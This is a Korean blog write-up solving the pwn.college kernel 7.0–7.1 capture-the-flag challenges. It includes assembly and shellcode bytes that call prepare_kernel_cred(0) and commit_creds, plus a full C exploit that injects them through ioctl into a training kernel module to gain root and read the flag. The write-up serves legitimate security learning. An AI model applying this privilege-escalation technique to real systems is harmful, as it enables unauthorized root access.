Computer Security

pwn.college : kernel 7.0-7.1 write up 2 본문

pwn.college : kernel

pwn.college : kernel 7.0-7.1 write up 2

쿠리 Kuri 2022. 12. 28. 18:30
반응형

12. 일단 쉘코드를 작성 해주자.

https://defuse.ca/online-x86-assembler.htm 이 사이트에서 작성을 해주면 된다.

shellcode

     

 

 

 

어셈블리어 분석

        mov rdi, 0x00
        mov rax, 0xffffffff810890d0
        call rax
        mov rdi, rax
        mov rax, 0xffffffff81088d90
        call rax
        ret

위의 어셈블리어를 해석하자면, prepare_kernel_cred(0) 에서 0 이 mov rdi, 0x00

mov rax, 0xffffffff810890d0   :  prepare_kernel_cred

mov rax, 0xffffffff81088d90   :  commit_creds

 

 

 

 

 

 

 

 

 

 

 

 


13. Workspace에 가서 코드를 아래와 같이 작성 해준다.

#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>

struct ioctl_comm_struct
{
    int64_t length;
    char buffer[4096];
    void* func_addr;
};

int main(){
    int fd = open("/proc/pwncollege",O_WRONLY);

    struct ioctl_comm_struct ics;
    ics.length = 0x100;
    ics.func_addr = (void*)0xffffc90000085000;
    memcpy(ics.buffer, "\x48\xC7\xC7\x00\x00\x00\x00\x48\xC7\xC0\xD0\x90\x08\x81\xFF\xD0\x48\x89\xC7\x48\xC7\xC0\x90\x8D\x08\x81\xFF\xD0\xC3", 
    0x100);

    ioctl(fd, 1337, &ics);

       FILE      *fp2;
   char       buf[1024];

   if ( fp2 = fopen( "/flag", "r")) {
      fgets( buf, sizeof( buf), fp2);
      printf( "%s\n", buf);

      fclose(fp2);
   }
}

 

ioctl 통신을 이용해서 위에서 작성한 쉘코드를 넣어준다.

 

 

 

 

 

 

 

 

 

 

 


14. gcc 컴파일 후 ./a.out을 이용해 실행 시켜준다.

./a.out

 

 

 

 

 

 

 

 

 

 


15. 아래의 플래그가 도출 된 것을 알 수있다!

flag

 

 

 

 

 

 

 

7.1 또한 똑같은 방식으로 풀어나가면 풀린다!

 

 

 

 

ps.과정은 정말 짧다 느낄 수 있었겠지만, 약 일주일정도 걸린 것 같다... write up 1편을 쓰고 나서, 막혀버려서 한 5일정도 걸린듯 하다.. 그로인해 좀 더 자세히 문제를 분석하고 문제 풀었을 때의 짜릿함도 말로 표현할 수 없었다..ㅋㅋ

 

저 위의 플래그는 사람마다 다르니 직접 해보자..ㅎ

 

반응형
Comments